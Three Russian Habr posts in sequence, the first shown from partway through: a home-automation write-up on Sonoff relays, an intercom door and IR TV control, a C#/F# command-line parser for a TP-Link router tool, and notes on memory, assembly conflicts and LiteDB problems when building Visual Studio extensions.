Готовить кофе, все равно, приходиться ходить ножками, надо же насыпать кофе. А вот включить машинку удобно получается. От момента включения и до приготовления кофе, необходимо некоторое время для разогрева аппарата. Поэтому сидя работая в комнате, можно удаленно включить кофеаппарат и через некоторое время уже топать ножками и готовить себе напиток.
Больше пользы будет в таком выключателе на полном автомате в кофемашине, надо только не забывать заранее ставить чашку. Ждем плату управления.
Добавляем wifi для открытия двери с домофоном Vizit
---------------------------------------------------
В общем коридоре, тамбур возле лифта закрывается дверью с магнитным замком и системой доступа Vizit. Систему ставили уже после того как был сделан ремонт и кнопку для открытия тамбурной двери в квартиру не провели. Для того, что б запустить гостей, приходиться выходить к двери и открывать кнопкой открытия двери в коридоре. Блок управления КТМ-602М.
Замыкание OP + GND открывает дверь/ отключает магнит на 7 секунд.
Разделяем питание модуля sonoff sv и реле путем удаления двух резисторов, как указанно ниже на картинке.
На вход реле «input +» подключаем ОР, на выходе реле «output +» прикручиваем GND. Между ELC и GND блока управления 18в от которых подаем питание на сам модуль.
Добавляем дверной звонок «door bell» в домотикз и теперь Сири может нам помочь отрыть двери для гостей.
Помощница Siri распознает голосовую команду «Открыть дверь», лучше чем «включить кофемашину».
На этом я остановился с укращением модулей sonoff.
Небольшой бонус
---------------
Раз пошла такая пьянка, будем еще и телевизор выключать/включать. Выключение телевизора и включение уже не имеет никакого отношения к wifi модулям. Телевизор находиться в непосредственной близости с raspberry pi. Тут нам в помощь ИК светодиод и пару сопротивлений разного номинала. Устанавливаем lirc, там же в базах находим настройки для своего пульта/телевизора.
Для работы с домотикз запускаем небольшой скрипт на питоне, который транслирует наши пожелания включить/выключить телевизор из mqtt в lirc.
**mqtt в lirc**
```
import paho.mqtt.client as mqtt
import os
import time
import json
IP = '192.168.ххх.ххх'
PORT = '1883'
device = {18 : 'OpenBox',
19 : 'PHILIPS',
22 : 'air'}
TOPIC_DOMOTICZ = 'domoticz/in'
def send(device, command):
# """ Sends IR-signal to the device """
os.system("irsend SEND_ONCE '" + device + "' '" + command + "'")
# The callback for when the client receives a CONNACK response from the server.
def on_connect(client, userdata, flags, rc):
print("Connected with result code "+str(rc))
# Subscribing in on_connect() means that if we lose the connection and
# reconnect then subscriptions will be renewed.
client.subscribe(TOPIC_DOMOTICZ,0)
def on_publish(client,userdata,result): #create function for callback
print("data published \n")
pass
# The callback for when a PUBLISH message is received from the server.
def on_message(client, userdata, msg):
domoticz = json.loads(msg.payload)
if domoticz ['idx'] in device.keys():
idx = domoticz ['idx']
dev = device [idx]
command = 'KEY_POWER'
send (dev, command)
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.on_publish = on_publish
client.connect(IP, PORT, 60)
client.loop_forever()
```
Добавляем в Domoticz еще три виртуальных кнопки для телевизора, ресивера и кондиционера.
Управлять телевизором не удобно с телефона, все равно пульт, как-то родней. Но выключить телевизор, когда забыл и уже ушел из комнаты приятный бонус.
Приятным дополнением ко всему этому наличие для Pebble часов приложения Pemoticz. Добавил адрес в настройках и приложение подтянуло все выключатели. Не единой Сири можно теперь включить кофе аппарат/открывать двери и выключать свет. Часы обычно на руке, а телефона может не оказаться в непосредственной близости. Это имеет тоже свои плюсы. Тему распознавания речи часами их перепрошивкой не занимался, но это тоже возможно.
На этом, пожалуй, можно и завершать историю «без умного» дома.
Заключение.
-----------
В виде заключения, а что же дальше?
Todo list:
— Кондиционер, не получилось найти настроек для пульта к lirc и первые попытки скопировать нажатия, тоже не привели к успеху. Пилим дальше.
— Ждем заказа от китайской компании Mi c gateway и несколькими датчиками. Датчики открытия дверей путем не хитрых манипуляций превращаются в датчики протечки. Будем добавлять в нашу систему. При срабатывании датчиков будет слать уведомления хозяину.
— На этом мысли заканчиваются…
### Используемые источники
→ [Running HomeBridge on a Raspberry Pi](https://github.com/nfarina/homebridge/wiki/Running-HomeBridge-on-a-Raspberry-Pi#running-homebridge-on-bootup-initd)
→ [Sonoff-Tasmota Wiki](https://github.com/arendst/Sonoff-Tasmota/wiki)
→ [Installation of Domoticz on an already running Pi](https://www.domoticz.com/wiki/Raspberry_Pi)
→ [How-to: Add WiFi to your coffee machine](http://www.bntdumas.com/2015/07/15/how-to-add-wifi-to-your-coffee-machine-part-1/) | https://habr.com/ru/post/403869/ | null | ru | null |
# Как я работаю с командной строкой
Привет, Хабр! Многие пользовались консольными приложениями (тот же git). Недавно решил создать свое консольное приложение для управления роутером. По всем правилам, сначала разработал ядро, содержащее бизнес логику, написал тесты и затем приступил к соединению бизнес логики с представлением. Все шло хорошо, до того момента как мне понадобилось парсить аргументы командной строки. В этом посте расскажу как я решил эту задачу.
Введение
--------
В общих чертах задача состояла следующая:
1. Спарсить аргументы поданые на вход.
2. Понять, что хочет пользователь.
3. Выполнить необходимую команду.
В процессе приходил к нескольким вариантам. Буду рассказывать хронологически.
Нативный способ
---------------
Первый способ - в лоб. В .NET нам передается уже готовый массив аргументов `static void Main(string[] args)`.
Поэтому просто итерируемся по этому массиву и находим команду. Звучит просто. Сложности возникают когда:
1. Появляются аргументы ключ-значение или флаги `--verbose` `grep -i 'hello, world!'` .
2. Команды вложенные ( нужно учитывать вложенность `git remote add` ).
3. Нужно собственно выполнить код: скорее всего бизнес логика будет выделена в отдельные функции расположенные в классе, в котором `Main` и содержится.
Но это не значит что решение не достойно упоминания. Оно допустимо если:
1. Аргументы однородны. Например, легкий клон `mv` - все аргументы, кроме последнего файлы для перемещения, а последний - место куда перемещаем.
2. Делаем MVP. Нам просто нужно захардкодить 1-2 команды для нашего proof of concept\*.
\* Этот подход я использовал в самом начале разработки пет-проекта и когда понял, что приложение рабочее - моя мотивация повысилась (это тоже плюс).
Но с ростом функциональности и выше перечисленных трудностей я начал искать другие пути парсинга и пришел к следующему варианту.
Готовая библиотека
------------------
Я решил не изобретать велосипед и найти готовые решения. В экосистеме .NET довольно популярна библиотека [CommandLineParser](https://github.com/commandlineparser/commandline). Ведет историю, начиная с 2006 года. Решил использовать ее. Ее достоинствами считаю:
1. Декларативный способ описания аргументов (Атрибуты Verb, Option).
2. Поддержка отображения помощи (Help Text, Usage).
3. Поддержка коротких `(-v)` и длинных `(--verbose)` опций.
4. Автоматическое конверитрование типов опций (IEnumerable, bool, string ...).
5. Поддержка не только в C#, но и F#, VB.
Это малая часть ее возможностей. Больше описано в ее [README.md](https://github.com/commandlineparser/commandline/blob/master/README.md).
Все шло хорошо вплоть до определенного момента. Выше я упомянул команду `git remote add` . К сожалению, CommandLineParser не имеет поддержки вложенных команд. (Можно использовать костыли по типу `git remote-add` или `git "remote add"`, но выглядит не очень, на мой взгляд).
Продолжил искать дальше, но не нашел подходящей библиотеки (возможно искал плохо). В результате пришел к выводу, что нужно делать самому.
К/Ф "Пятый элемент"Свой парсер
-----------
Я приступил к созданию ~~своего велосипеда~~ парсера командной строки. Для начала определим, в каком виде поступают аргументы на вход.
В моем случае это выглядело так: `COMMAND [OPTION]...` . Сначала подается команда (слова разделенные пробелом), а затем идут опции (пары ключ-значение, причем ключ имеет префикс `--` ). Результатом парсинга является объект представляющий саму команду.
```
// CommandLineContext.cs
using Router.Domain;
namespace Router.Commands;
public record CommandLineContext(string[] Command, RouterParameters RouterParameters, IDictionary Arguments, OutputStyle OutputStyle)
{
private int \_currentCommandIndex = 0;
public string? CurrentCommand =>
\_currentCommandIndex < Command.Length
? Command[\_currentCommandIndex]
: null;
public string? NextCommand => \_currentCommandIndex + 1 < Command.Length
? Command[\_currentCommandIndex + 1]
: null;
public bool HasNextCommand => \_currentCommandIndex < Command.Length;
public bool MoveNext()
{
if (\_currentCommandIndex + 1 >= Command.Length)
{
return false;
}
\_currentCommandIndex++;
return true;
}
}
```
Для парсинга я использовал F# и код получился довольно лаконичным:
```
// CommandLineContextParser.fs
module Router.Commands.Utils.CommandLineContextParser.CommandLineContextParser
open System.Net
open Microsoft.FSharp.Collections
open Router.Commands
open Router.Domain
type ParsingError =
| ArgumentExpectedError of Argument: string
| IncorrectArgumentValueError of Argument: string * Actual: string
| DuplicatedArgumentError of Argument: string
type Arguments = Map
type Command = string list
type CommandLineContextUnparsed =
{ Command: Command
RouterParameters: RouterParameters
Arguments: Arguments
Output: OutputStyle
Rest: string list }
type ParsingPipe = CommandLineContextUnparsed -> Result
let (>=>) func1 func2 x =
match (func1 x) with
| Ok s -> func2 s
| Error err -> Error err
type ParseCommand = ParsingPipe
type ParseArguments = ParsingPipe
type ParseCommandLineContext = string list -> Result
let parseCommandFromCommandLineInput: ParseCommand =
(fun context ->
let rec parseCommandFromCommandLineInputRec
(result: CommandLineContextUnparsed)
: Result =
match result.Rest with
| [] -> Ok result
| first :: rest when not (first.StartsWith '-') ->
parseCommandFromCommandLineInputRec
{ result with
Rest = rest
Command = first :: result.Command }
| \_ -> Ok result
parseCommandFromCommandLineInputRec context)
let normalizeArgumentName (arg: string) = arg[2..]
let parseArgumentsFromCommandsParsed: ParseArguments =
(fun context ->
let rec parseInner (ctx: CommandLineContextUnparsed) =
match ctx.Rest with
| [] -> Ok ctx
| [ arg ] -> Error(ParsingError.ArgumentExpectedError arg)
| argument :: value :: rest ->
let normalized = normalizeArgumentName argument
match Map.containsKey normalized ctx.Arguments with
| true ->
Error(ParsingError.DuplicatedArgumentError normalized)
| false ->
parseInner { ctx with Arguments = (Map.add normalized value ctx.Arguments)
Rest = rest }
parseInner context)
let (??>) =
fun option fallback ->
match option with
| None -> fallback
| Some x -> x
let fallback value defaultValue map =
(Map.tryFind value map) ??> defaultValue
let extractRouterParameters: ParsingPipe =
(fun ctx ->
let args = ctx.Arguments
let address = fallback "address" "192.168.0.1" args
let username = fallback "username" "admin" args
let password = fallback "password" "admin" args
match IPAddress.TryParse address with
| (true, ip) -> Ok { ctx with RouterParameters = RouterParameters(ip, username, password) }
| \_ -> Error(ParsingError.IncorrectArgumentValueError("address", address)))
let toUnparsedFromList (list: string list) : Result =
Ok { Rest = list
Command = List.empty
Arguments = Map.empty
RouterParameters = RouterParameters.Default
Output = OutputStyle.KeyValue}
let toCommandLineContext (unparsed: CommandLineContextUnparsed) : Result =
Ok(CommandLineContext(unparsed.Command
|> List.rev
|> List.toArray,
unparsed.RouterParameters,
unparsed.Arguments,
unparsed.Output))
let outputArgumentName = "output"
let (|Json|Xml|KeyValue|Table|Invalid|) str =
match str with
| "json" -> Json
| "xml" -> Xml
| "plain" -> KeyValue
| "table" -> Table
| \_ -> Invalid
let toOutputStyle (outputString: string): Result =
match outputString with
| Json -> Ok OutputStyle.Json
| Xml -> Ok OutputStyle.Xml
| KeyValue -> Ok OutputStyle.KeyValue
| Table -> Ok OutputStyle.Table
| \_ -> Error (ParsingError.IncorrectArgumentValueError(outputArgumentName, outputString))
let extractOutputStyle: ParsingPipe =
(fun context ->
match Map.tryFind outputArgumentName context.Arguments with
| Some outputString -> match toOutputStyle outputString with
| Ok output -> Ok {context with Output = output}
| Error parsingError -> Error parsingError
| None -> Ok context
)
let parsingPipeline =
parseCommandFromCommandLineInput
>=> parseArgumentsFromCommandsParsed
>=> extractRouterParameters
>=> extractOutputStyle
let parseCommandLineContext: ParseCommandLineContext =
toUnparsedFromList
>=> parsingPipeline
>=> toCommandLineContext
```
```
// FSharpCommandLineParser.fs
namespace Router.Commands.Utils
open System
open Router.Commands
open Router.Commands.Exceptions
open Router.Commands.Utils.CommandLineContextParser.CommandLineContextParser
[]
type FSharpCommandLineParser() =
member this.ParseCommandLineContext(args: string []) : CommandLineContext =
match parseCommandLineContext (Array.toList args) with
| Ok context -> context
| Error err ->
match err with
| ArgumentExpectedError expected -> raise (ArgumentValueExpectedException(expected, args))
| IncorrectArgumentValueError (argument, actual) ->
raise (IncorrectArgumentValueException(argument, actual, args))
| DuplicatedArgumentError argument -> raise (DuplicatedArgumentsException(argument, args))
interface ICommandLineContextParser with
member this.ParseCommandLineContext(args) = this.ParseCommandLineContext args
```
Ну вот мы спарсили нашу командную строку. Но что дальше? Как определить ЧТО нам делать?
Мат. часть
----------
Помните как я упомянул слово **команда** и **вложенный**? Так вот. Это те самые [паттерны команды 4-х](https://www.ozon.ru/product/patterny-obektno-orientirovannogo-proektirovaniya-gamma-erih-helm-richard-174491298/?sh=8zoMFdPQcg) на практике:
1. Нам нужно выполнить команду - паттерн [Command](https://refactoring.guru/ru/design-patterns/command).
2. Команды могут быть вложенными. А какая структура это позволяет? Правильно - дерево. Это паттерн [Composite](https://refactoring.guru/ru/design-patterns/composite).
3. Также нам нужно создать команду, здесь *может* понадобиться фабрика - паттерн [Abstract Factory](https://refactoring.guru/ru/design-patterns/abstract-factory).
Реализация
----------
Начнем проектирование сверху-вниз, а именно с Компоновщика.
#### Компоновщик
Наши команды имеют структуру дерева (иерархическую):
'git' - не передается в аргументы, т.к. это сама программаВыделим базовый класс, представляющий абстрактный узел и наследуем от него 2 других - лист и внутренний узел:
```
// InternalTpLinkCommandFactory.cs
internal abstract class InternalTpLinkCommandFactory : IRouterCommandFactory
{
public string Name { get; }
public InternalTpLinkCommandFactory(string name)
{
ArgumentNullException.ThrowIfNull(name);
Name = name;
}
public abstract IRouterCommand CreateRouterCommand(RouterCommandContext context);
}
```
```
// SingleTpLinkCommandFactory.cs
internal abstract class SingleTpLinkCommandFactory : InternalTpLinkCommandFactory
{
protected SingleTpLinkCommandFactory(string name) : base(name) { }
}
```
```
using Router.Commands;
using Router.Commands.Exceptions;
namespace Router.TpLink.CommandFactories;
internal abstract class CompositeTpLinkCommandFactory : InternalTpLinkCommandFactory
{
protected Dictionary Commands { get; }
protected CompositeTpLinkCommandFactory(IEnumerable commands, string rootName)
: base(rootName)
{
ArgumentNullException.ThrowIfNull(commands);
Commands = commands.ToDictionary(c => c.Name);
}
public override IRouterCommand CreateRouterCommand(RouterCommandContext context)
{
var currentCommand = context.CurrentCommand;
if (currentCommand is null || !Commands.TryGetValue(currentCommand, out var factory))
throw new UnknownCommandException(currentCommand, context.Command.ToArray());
context.MoveNext();
return factory.CreateRouterCommand(context);
}
}
```
#### Абстрактная фабрика
Наши листья - конечные точки (почти такие же как и в интернете). Каждый лист - порождает команду. В моей реализации я возвращал команды напрямую из Компоновщика, т.е. объединил Фабрику и Компоновщика. Это нарушет принцип единственной ответственности, так как если:
1. Мы захотим ввести псевдонимы (aliases).
2. Нам нужно будет в рантайме заменить поведение команд.
То придется нехило попотеть занимаясь рефакторингом. Но я осознаю, что пренебрег Single Responsibility, и принимаю все будущие трудности.
Вот пример реализации листа:
```
// GetWlanStatusCommandFactory.cs
// Полная команда на вход: "wlan status"
using Router.Commands;
using Router.TpLink.Commands;
namespace Router.TpLink.CommandFactories.Wlan;
internal class GetWlanStatusCommandFactory : SingleTpLinkCommandFactory
{
public GetWlanStatusCommandFactory()
: base("status")
{ }
public override IRouterCommand CreateRouterCommand(RouterCommandContext context)
{
return new TpLinkGetWlanStatusCommand(Console.Out, context.Router, context.OutputFormatter);
}
}
```
#### Команда
Мы подошли к завершающему этапу - бизнес-логика. За ее исполнение отвечает интерфейс `IRouterCommand` , который, как вы могли догадаться, и является паттерном Команда.
```
namespace Router.Commands;
public interface IRouterCommand
{
public Task ExecuteAsync();
}
```
Вы уже увидели, что фабрики реализуют один и тот же интерфейс `IRouterCommandFactory` . А вот собственно и он.
```
// IRouterCommandFactory.cs
using Router.Commands;
namespace Router.TpLink;
internal interface IRouterCommandFactory
{
IRouterCommand CreateRouterCommand(RouterCommandContext context);
}
```
Команды возвращают только листы, узлы - перенаправляют.
Пример листа.
```
// GetWlanStatusCommandFactory.cs
using Router.Commands;
using Router.TpLink.Commands;
namespace Router.TpLink.CommandFactories.Wlan;
internal class GetWlanStatusCommandFactory : SingleTpLinkCommandFactory
{
public GetWlanStatusCommandFactory()
: base("status")
{ }
public override IRouterCommand CreateRouterCommand(RouterCommandContext context)
{
return new TpLinkGetWlanStatusCommand(Console.Out, context.Router, context.OutputFormatter);
}
}
```
И сама реализация команды:
```
// TpLinkGetWlanStatusCommand.cs
using Router.Commands;
using Router.TpLink.Commands.DTO;
namespace Router.TpLink.Commands;
public class TpLinkGetWlanStatusCommand : TpLinkBaseCommand
{
private readonly IOutputFormatter _formatter;
private readonly TextWriter _output;
public TpLinkGetWlanStatusCommand(TextWriter output, TpLinkRouter router, IOutputFormatter formatter)
: base(router)
{
_formatter = formatter;
_output = output;
}
public override async Task ExecuteAsync()
{
var wlan = await Router.Wlan.GetStatusAsync();
var display = new WlanDisplayStatus(wlan.Password, wlan.SSID, wlan.IsActive);
var result = _formatter.Format(display);
await _output.WriteLineAsync(result);
}
}
```
Теперь складываем все вместе:
```
// RouterApplication.cs
using Router.Commands;
namespace TpLinkConsole.Infrastructure;
public class RouterApplication : IApplication
{
private readonly ICommandLineContextParser _parser;
private readonly IRouterCommandFactory _factory;
public RouterApplication(ICommandLineContextParser parser, IRouterCommandFactory factory)
{
_parser = parser;
_factory = factory;
}
public async Task RunAsync(string[] args)
{
var context = _parser.ParseCommandLineContext(args);
var command = _factory.CreateRouterCommand(context);
await command.ExecuteAsync();
}
}
```
Итоги
-----
В результате можно сделать следующие выводы:
1. Если приложение простое и аргументы однородны - можно просто итерироваться по входному массиву. Не нужно увеличивать сложность.
2. Не изобретайте велосипед без крайней необходимости. Уже существуют готовые решения - используйте их.
3. Мое решение еще раз доказало, насколько важно разделение логики и представления.
4. Будьте готовы изобретать велосипед, решившись делать свою реализацию парсинга: текст помощи, кастование аргументов к нужному типу и т.д.
А как вы работаете с аргументами командной строки? Напишите в комментариях.
З.Ы. исходный код по [ссылке](https://github.com/ashenBlade/tpcon)
З.З.Ы Хабр, добавь поддержку синтаксиса F#!!! (Спасибо, добавили) | https://habr.com/ru/post/667438/ | null | ru | null |
# Дополняя SQL. Часть 3. Жизнь расширений для Visual Studio. Работа с IO. Необычное использование SQL
Публикую на Хабр оригинал статьи, перевод которой размещен в блоге [Codingsight](https://codingsight.com/completing-sql-part-3-complementing-sql-the-life-of-visual-studio-extensions/).
Что будет в этой статье?
------------------------
Это третья статья в цикле о жизни разработчиков IDE для баз данных. Ее структура будет похожа на [первую](https://habr.com/ru/post/502416/) и [вторую](https://habr.com/ru/post/503550/), но здесь я уже не буду рассказывать о парсинге текста. В этой статье речь пойдет о некоторых трюках по работе с файлами и просто различными проблемами при создании большого настольного приложения на платформе .NET. Для понимания этой статьи не обязательно читать первую и вторую части полностью, но в первой статье цикла есть несколько параграфов, которые отлично погружают в контекст разработки. Мне кажется, эта часть цикла получилась интересна даже для большего круга людей, чем предыдущие. Их было бы полезно глянуть перед прочтением статьи, а если на это нет времени или желания, то вот несколько тезисов из прошлых статей:
* Мы делаем [линейку](https://www.devart.com/dbforge/) IDE для СУБД MySQL, SQL Server, Oracle, PostgreSQL
* Это настольное приложение на .NET стеке со всеми вытекающими
* Много функций завязаны на анализ SQL кода. Используем для этого сильно доработанный [ANTLR](https://en.wikipedia.org/wiki/ANTLR)
* Парсинг SQL это сложная задача в плане производительности и памяти. Постоянно приходится применять разные трюки для оптимизации
По мере публикации буду добавлять ссылки на следующие части:
[Часть 1. Сложности парсинга. Истории о доработке ANTLR напильником](https://habr.com/ru/post/502416/)
[Часть 2. Оптимизация работы со строками и открытия файлов](https://habr.com/ru/post/503550/)
**Часть 3. Жизнь расширений для Visual Studio. Работа с IO. Необычное использование SQL**
[Часть 4. Работа с исключениями, влияние данных на процесс разработки. Использование ML.NET](https://habr.com/ru/post/505270/)
Какие сложности?
----------------
Все дальнейшие проблемы разворачиваются в контексте настольной разработки на .NET стеке.
### Проблема 32-х бит
Одни пользователи предпочитают использовать standalone версии наших продуктов; другим более привычна работа внутри Visual Studio и SqlServer Management Studio, для них разрабатывается ряд расширений. Одно из таких расширений — [SQL Complete](https://www.devart.com/dbforge/sql/sqlcomplete/), так он заменяет стандартный Code Completion SSMS и VS для SQL на более мощный, плюс добавляет еще ряд полезных функций, вроде постоянного бекапа документов. Часть из этих функций, по своей природе, затратны к ресурсам RAM, но VS и SSMS на заре 2020го года все еще 32 битные приложения. Даже в теории им доступно лишь 3.25ГБ оперативной памяти, на практике же куда меньше. Расширения загружаются в тот же процесс, а значит делят эту память. Парсинг SQL — процесс очень затратный, как по ресурсам CPU, так и по RAM. Чтобы без лишних обращений к серверу подсказывать список объектов в пользовательском скрипте в оперативной памяти храним кеш объектов. Чаще всего он не занимает много места, но среди наших пользователей есть и те, чьи базы насчитывают вплоть до четверти миллиона объектов.
Жесткое ограничения по RAM и особенности работы с SQL привели ряд задач, которые было действительно интересно решать. Дни или даже целые недели проходили с запущенными профилировщиками памяти и десятками разных экспериментов. Для меня стал откровением, случай, когда сэкономив 6 байт на экземпляре класса Token мы, начали экономить около 100МБ оперативной памяти, так много этих объектов было.
Другим интересным трюком, стала идея выбрасывать все напаршенное как только пользователь переходит на другой документ. Мы без труда сможем восстановить все из текста скрипта, когда пользователь на него вернется. Это может спровоцировать freeze на секунду или две на очень большом файле, но зато позволит работать даже с сотней очень больших документов.
Работа с SQL отличается от работы с другими языками. В C# практически не встречаются файлы даже на тысячу строк кода, но в SQL разработчик может работать с дампом базы на несколько миллионов строк кода. В этом даже нет ничего необычного.
### DLL-Hell внутри VS
В .NET Framework есть неплохой инструмент для разработки плагинов, это домены приложений. Все выполняется изолированно, есть возможность выгрузить. Да и в целом, реализация расширений это, пожалуй, главное для чего домены приложений были введены.
Существует [MAF Framework](https://stackoverflow.com/questions/41224852/is-managed-addin-framework-alive), что MS разрабатывали для решения проблемы создания дополнений к программам. При этом он настолько изолирует эти дополнения, что может даже отправить их в отдельный процесс и взять на себя все коммуникации, правда надо сказать, что решение очень громоздкое и не сыскавшее особой популярности.
К сожалению, по разным причинам, Microsoft Visual Studio и SqlServer Management Studio собранная поверх неё реализуют систему расширений иначе. Это, с одной стороны, сильно развязывает руки в плане доступа плагинов к хостовым приложениям, но заставляет их уживаться внутри одного процесса и домена с другой.
Как и любое другое приложение в 21м веке наше имеет ряд зависимостей. Большинство из них это хорошо известные, проверенные временем и популярные в .NET мире библиотеки. К сожалению, именно это и приводит к разного рода коллизиям. Был случай, когда в рамках одного из обновлений Microsoft обновили версию Newtonsoft.JSON используемую внутри VS и добавили соответствующий bindingRedirect в конфигурационный файл. Это сломало работу другой библиотеки что мы использовали у себя, которая зависела от более старой версии. Нам пришлось в экстренном порядке выпускать обновление.
Много раз источником проблем становилась библиотека контролов DevExpress, на которой построен наш UI. Проблема в том, что эта библиотека хороша и нравится не только нам, но и другим создателям расширений под VS. Иногда пользователи устанавливают и наше приложение и приложение от других разработчиков. Очевидно, что у нас свой релизный цикл, у них свой, а у пользователя свое понимание того когда нужно какие продукты обновлять. В результате этого в одном домене(AppDomain) оказываются приложения собранные на разных версиях DevExpress. Возможно, .NET и смог бы разрулить такую ситуацию, но DevExpress сам берет на себя задачу разрешения сборок таким образом, что две версии этой библиотеки внутри одного процесса гарантировано приведут к шквалу исключений.
На нас обрушился просто шквал проблем, когда мы предприняли робкую попытку начать создавать все новые окна на WPF. Корнем всех этих проблем стало то, что WPF, по умолчанию не указывает StrongName сборок. Таким образом CLR просто возьмет первую попавшуюся, что может оказаться не той которая нужна. Это стало для нас большим разочарованием, так как ряд задач, что перед нами стояли решались бы сильно проще в геометрии WPF.
Часть из вышеупомянутых проблем удалось решить подпиской на хитрое событие AssemblyResolve у AppDomain.Current. Обработчик этого события менялся в ответ на жалобы пользователей с различными наборами расширений. После очередного изменения стало понятно, что мы уже начинаем терять какие-то из начальных случаев. Тогда на каждый из сценариев мы написали по модульному тесту, а в коде обработчика оставили комментарий, напоминающий разработчику написать тест при внесении любого изменения в код обработчика.
### Прокачка сообщений внутри lock
Далеко не все знают, что .NET Framework будет перекачивать очередь сообщений Windows повиснув внутри какого-то WaitHandle. Это значит, что, по сути, внутри каждого lock может быть вызван любой обработчик любого события в приложении, если этот lock успеет уйти в режим ядра, а не будет освобожден во время фазы spin-wait. Это может приводить к re-entrancy в совсем уж неожиданных местах. Несколько раз это приводило к проблемам типа “Collection was modified during enumeration” и различных ArgumentOutOfRangeException. При этом требовалось немало времени, чтобы понять, что на самом деле произошло.
Крутые ~~велосипеды~~ решения
-----------------------------
### Добавление сборки в solution при помощи SQL
*Если в руке молоток, то все похоже на гвоздь.
Народная мудрость*
Когда проект разрастается, задача добавление сборок, простая вначале, превращается в десяток нетривиальных шагов. Хоть один из них да забудешь. Некоторые, думаю, можно было решить через создание шаблонов проектов, некоторые — явно нет.
Однажды нам нужно было добавить в solution около десятка различных сборок, мы делали очень большой рефакторинг. Дело в том, что на основе где-то 300 сборок, создано около 80 solution’ов, продуктовых и тестовых. На основе продуктовых solution’ов написаны InnoSetup файлы, в которых перечисляются сборки, что пакуются в инсталляцию, которую скачивает пользователь. Алгоритм добавления сборки в проект выглядел следующим образом:
1. Создать новый проект
2. Добавить к нему сертификат. Настроить подпись сборки
3. Добавить файл версии
4. Перенастроить пути, куда собирается проект
5. Переименовать папку, чтобы она соответствовала внутренней спецификации.
6. Заново добавить проект в solution
7. Добавить пару сборок, ссылки на которые нужны всем проектам
8. Добавить сборку во все необходимые solution’ы: тестовые и продуктовые
9. Для всех продуктовых добавить сборку в инсталляцию
Эти 9 шагов, было необходимо повторить около 10 раз. 8 и 9 шаги не тривиальны и легко забыть добавить сборку именно везде. Такая большая и механическая задача в любом здоровом разработчике пробуждает желание ее автоматизировать. Так случилось и с нами. Только как указать в какие именно solution’ы и инсталляции прописывать вновь созданный проект? Сценариев ведь много, а часть из них вообще сложно предугадать. Тут в голову стрельнула шальная мысль. Solution’ы связаны с проектами как многие-ко-многим, проекты с инсталляциями — так же, а SQL это инструмент что создавался и более чем пол века вытачивался для решения именно таких задач.
Вот что мы решили сделать. Мы создали .Net Core Console App, что сканирует все .sln файлы в папке с исходниками, при помощи [DotNet CLI](https://docs.microsoft.com/en-us/dotnet/core/tools/?tabs=netcore2x) извлекает из них список проектов и раскладывает в SQLite базу данных. Программа содержит в себе несколько режимов:
* new — создает проект и все необходимые папки, добавляет сертификат, настраивает подпись, добавляет версию, минимально необходимые сборки
* add-project — добавляет проект ко всем solution’ам, что удовлетворяют SQL запросу, что будет передан одним из параметров. Для добавления проекта в solution программа внутри использует DotNet CLI.
* add-iss — добавляет проект ко всем инсталляциям, что удовлетворяют SQL запросу.
Идея указывать список solution’ов через SQL запрос может показаться громоздкой, но она полностью закрыла все существующие кейсы, а скорее всего и любой возможный в будущем.
Пример сценария использования. Создать проект “A” и добавить его ко всем solution’ам где используется проект “B”:
```
dbforgeasm add-project Folder1\Folder2\A "SELECT s.Id FROM Projects p JOIN Solutions s ON p.SolutionId = s.Id WHERE p.Name = 'B'"
```
Ошибки
------
### Проблема с [LiteDB](https://github.com/mbdavid/LiteDB)
Пару лет назад перед нами поставили задачу разработать функцию фонового сохранения пользовательских документов. Она имела два основных флоу применения: возможность мгновенно закрыть IDE и уйти, а вернувшись начать с места, где остановились, возможность восстановления в исключительных ситуациях вроде отключений света или крешей программы. Для ее реализации нужно было где-то сбоку сохранять содержимое документов, делать это часто и быстро. Кроме содержимого нужно было сохранять еще немного метаданных, это делало прямое хранение в файловой системе не слишком привлекательным. Тогда подвернулась библиотека LiteDB, что впечатлила своей простотой и производительностью. LiteDB это быстрая легковесная встраиваемая база данных, полностью написанная на C#. Перед использованием мы подробно ее исследовали, скорость и простота работы нас подкупили. Я подробнее писал об этом [здесь](https://habr.com/ru/post/326990/).
В процессе разработки вся команда была довольна опытом работы с LiteDB, к сожалению, основные проблемы начались уже после релиза новой версии, когда у некоторых пользователей возникали те проблемы, что ни разу не появлялись на этапе тестирования. Потребовалось много общения с клиентами, анализа логов и стеков, а еще несколько maintenance релизов, чтобы стабилизировать продукт. В чем же было дело? В официальной документации гарантировалось, что база обеспечивает корректную работу при конкурентном доступе как из нескольких потоков, так и из нескольких процессов. Агрессивные синтетические тесты показали, что база работает некорректно в многопоточной среде. Для быстрого исправления проблемы, мы синхронизировали процессы между собой при помощи самописного межпроцессного ReadWriteLock, к счастью параллельная запись из нескольких процессов не была нужна. Немного позднее было заведено около 10 различных issue в GitHub, сделано пару pull-requests, чтобы исправить ситуацию. Сейчас, спустя почти три года LiteDB работает значительно лучше, впрочем, урок был извлечен и теперь любые новые third-party в проекте подвергаются более тщательному исследованию.
### StreamStringList
Это проблема противоположна случаю с [“частичным лексическим разбором”](https://habr.com/ru/post/503550/#partial), описанным в прошлой части статьи.
Немного контекста, для начала. Работая с текстом нам по ряду причин удобнее работать с ним как со списком строк. Строки могут запрашиваться в произвольной последовательности, но в определенная кучность в обращениях все-таки присутствует. В какой-то момент стало необходимо реализовать несколько задач для обработки очень больших файлов, без полной загрузки их в память.
Идея была следующая:
1. Вычитать файл построчно. Запомнить offset’ы в файле.
2. При требовании выдать очередную строку, установить необходимый offset и вернуть данные.
Главная задача выполнена. Такая структура в памяти не занимает практически ничего относительно размера файла. На этапе тестирования тщательно проверяется объем занимаемой памяти для больших и для очень больших файлов. Очевидно, что большие файлы будут обрабатываться долго, а небольшие обрабатываются мгновенно. Нет никакого эталона для проверки **времени** работы. RAM не зря называют Random Access Memory это ее конкурентное преимущество перед SSD и особенно HDD. Эти носители начинают крайне плохо работать при не последовательном обращении к ним. Не помню уже как это выяснилось, но оказалось, что такой подход замедлил работу почти в 40 раз в сравнении с полной загрузкой файла в память. Кроме этого выяснилось, что мы читаем файл 2.5-10 полных раз в зависимости от контента.
